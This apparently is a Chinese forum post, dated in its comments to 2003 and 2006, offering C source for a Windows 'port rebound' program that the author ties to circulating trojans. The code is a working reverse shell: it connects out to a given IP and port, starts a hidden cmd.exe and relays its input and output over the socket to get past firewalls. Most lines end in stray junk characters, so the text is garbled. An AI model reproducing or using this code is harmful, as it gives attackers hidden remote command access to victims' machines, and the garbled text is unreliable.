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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :cz]8~i\  
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/* ============================== {iteC  
Rebound port in Windows NT 1Ac1CsK*  
By wind,2006/7 )eyxAg  
===============================*/ >gl<$LQ?X  
#include t9l7 % +y  
#include VAzJclB  
u{ d`  
#pragma comment(lib,"wsock32.lib") (pg9cM]NA  
=l9#/G#R  
void OutputShell(); @=1``z#  
SOCKET sClient; }Elce}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1#u w^{n  
eF\C?4  
void main(int argc,char **argv) J4X35H=Z  
{ N#ObxOE6T"  
WSADATA stWsaData; \mG M#E  
int nRet; Ji=iq=S7  
SOCKADDR_IN stSaiClient,stSaiServer; r $2   
vGDo?X~#o  
if(argc != 3) 9^olAfX`dB  
{ xb;m m9H  
printf("Useage:\n\rRebound DestIP DestPort\n"); f ebh1rUX  
return; fe/6JV  
} e8v=n@0  
SW, Po>Y  
WSAStartup(MAKEWORD(2,2),&stWsaData); a06q-3zw  
}A ^,y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P ie!Su`  
|0mI3r  
stSaiClient.sin_family = AF_INET; h!]A(T\J  
stSaiClient.sin_port = htons(0); K@hUif|([  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &9{BuBO[  
oPBjsQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x=)$sD-3  
{  (La  
printf("Bind Socket Failed!\n"); gV;GC{pY  
return; '+wTrW m~j  
} bc-)y3gHU  
}5U f`pM8  
stSaiServer.sin_family = AF_INET; 6Fb~`J~s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dG+xr!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;{20Heuz  
tTt~W5lo  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TQH#sx  
{ +Eg# 8/q  
printf("Connect Error!"); }lVUa{ubf  
return; E(#2/E6  
} h='=uj8o5  
OutputShell(); uU s>/+  
} .EwK>ro4  
H'>  
void OutputShell() 7m:,-xp  
{ i/z7a%$   
char szBuff[1024]; }XU- J An  
SECURITY_ATTRIBUTES stSecurityAttributes; UJ:B:hh''  
OSVERSIONINFO stOsversionInfo;  j C?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <i-RF-*S  
STARTUPINFO stStartupInfo; l<?wB|1'  
char *szShell; NBX/V^  
PROCESS_INFORMATION stProcessInformation; *Yw6UCO  
unsigned long lBytesRead; 70eN]OY  
:Ib\v88WIv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %|>i2  
`314.a6S  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7&1: ]{_  
stSecurityAttributes.lpSecurityDescriptor = 0; EK_^#b  
stSecurityAttributes.bInheritHandle = TRUE; sP%.o7&n  
aT#|mk=\  
0 M?}S~p]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dGe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CS49M  
/Z_QCj  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 75f.^4/%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "?SnA +)  
stStartupInfo.wShowWindow = SW_HIDE; v},sWjv  
stStartupInfo.hStdInput = hReadPipe; ZtDpCl_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \ :.p8`  
D5x^O2  
GetVersionEx(&stOsversionInfo); Wt =[R 4=  
2_Z6 0]  
switch(stOsversionInfo.dwPlatformId) RU=%yk-gM  
{ &3V4~L1aEg  
case 1: +8M{y D9#  
szShell = "command.com"; >B0S5:S$W  
break; ,U}8(D~:  
default: ^E^:=Q?'_  
szShell = "cmd.exe"; ||f 4f3R'  
break; KMV!Hqkk  
} uvL|T48  
{$^|^n5j  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mD! imq%=  
=RA6p  
send(sClient,szMsg,77,0); 5> UgBA  
while(1) Ad`IgZ  
{ 0U'r ia:$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a$ }^z  
if(lBytesRead) sp%7iNs  
{ bHCd|4e,2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )'JSu=Ej  
send(sClient,szBuff,lBytesRead,0); <IYt*vlm  
} e(Ve rd:c  
else i!NGX  
{ n2E2V<#   
lBytesRead=recv(sClient,szBuff,1024,0); JsV#:  
if(lBytesRead<=0) break; aozk,{9-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y$ WS;#  
} IX}l)t[:(  
} deNU[  
[kCn6\_<V  
return; 2rxdRg'YLQ  
}
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